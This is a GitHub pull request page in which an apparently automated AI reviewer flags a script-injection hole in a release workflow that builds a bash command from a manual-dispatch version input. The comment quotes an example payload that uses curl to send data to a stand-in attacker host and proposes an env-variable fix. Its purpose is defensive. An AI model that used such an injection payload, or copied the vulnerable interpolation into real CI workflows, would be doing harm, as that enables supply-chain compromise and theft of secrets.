Skip to content

chore: allow manual triggers in release.yaml#5

Merged
mihir-nexla merged 1 commit intomainfrom
support-manual-releases
Mar 23, 2026
Merged

chore: allow manual triggers in release.yaml#5
mihir-nexla merged 1 commit intomainfrom
support-manual-releases

Conversation

@mihir-nexla
Copy link
Copy Markdown
Collaborator

@mihir-nexla mihir-nexla commented Mar 23, 2026

@mihir-nexla mihir-nexla merged commit f0b3b5e into main Mar 23, 2026
3 checks passed
Copy link
Copy Markdown
Contributor

@devin-ai-integration devin-ai-integration Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Devin Review found 1 potential issue.

View 2 additional findings in Devin Review.

Open in Devin Review

shell: bash
run: |
TAG_NAME="${{ github.event.release.tag_name || github.ref_name }}"
TAG_NAME="${{ github.event.inputs.version || github.event.release.tag_name || github.ref_name }}"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 Script injection vulnerability via unsanitized github.event.inputs.version in shell command

The github.event.inputs.version value is directly interpolated into a bash script via the ${{ }} expression syntax on line 40. GitHub Actions evaluates this expression and pastes the raw result into the script before bash executes it. Since workflow_dispatch inputs are free-form strings (unlike git tag names which have character restrictions), a user with write access could provide a crafted version string like "; curl attacker.com/exfil?t=$(cat /dev/urandom); echo " which would break out of the double-quoted string and execute arbitrary commands. This injection occurs before the version regex validation on line 43, so the malicious code runs regardless. The workflow has id-token: write permission and publishes to PyPI via trusted publishing, so exploitation could lead to publishing malicious packages.

Recommended fix: use an environment variable instead of inline expression

Pass the value as an environment variable so it cannot break out of the script:

    - name: Set version from release tag
      shell: bash
      env:
        TAG_NAME: ${{ github.event.inputs.version || github.event.release.tag_name || github.ref_name }}
      run: |
        VERSION="${TAG_NAME#v}"
        ...

This way the value is set in the process environment by the runner, not injected into the script text.

Prompt for agents
In .github/workflows/release.yml, the 'Set version from release tag' step (around line 37-53) directly interpolates github.event.inputs.version into the shell script using ${{ }} expression syntax, which is vulnerable to script injection. Fix this by passing the value as an environment variable instead:

1. Add an `env` block to the step:
   env:
     TAG_NAME: ${{ github.event.inputs.version || github.event.release.tag_name || github.ref_name }}

2. Change line 40 from:
   TAG_NAME="${{ github.event.inputs.version || github.event.release.tag_name || github.ref_name }}"
   to:
   # TAG_NAME is now set via the env block above, no change needed
   (simply remove the TAG_NAME assignment line, or change it to just use the env var)

This ensures the untrusted input is passed through the environment rather than being interpolated into the script text, preventing shell metacharacter injection.
Open in Devin Review

Was this helpful? React with 👍 or 👎 to provide feedback.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants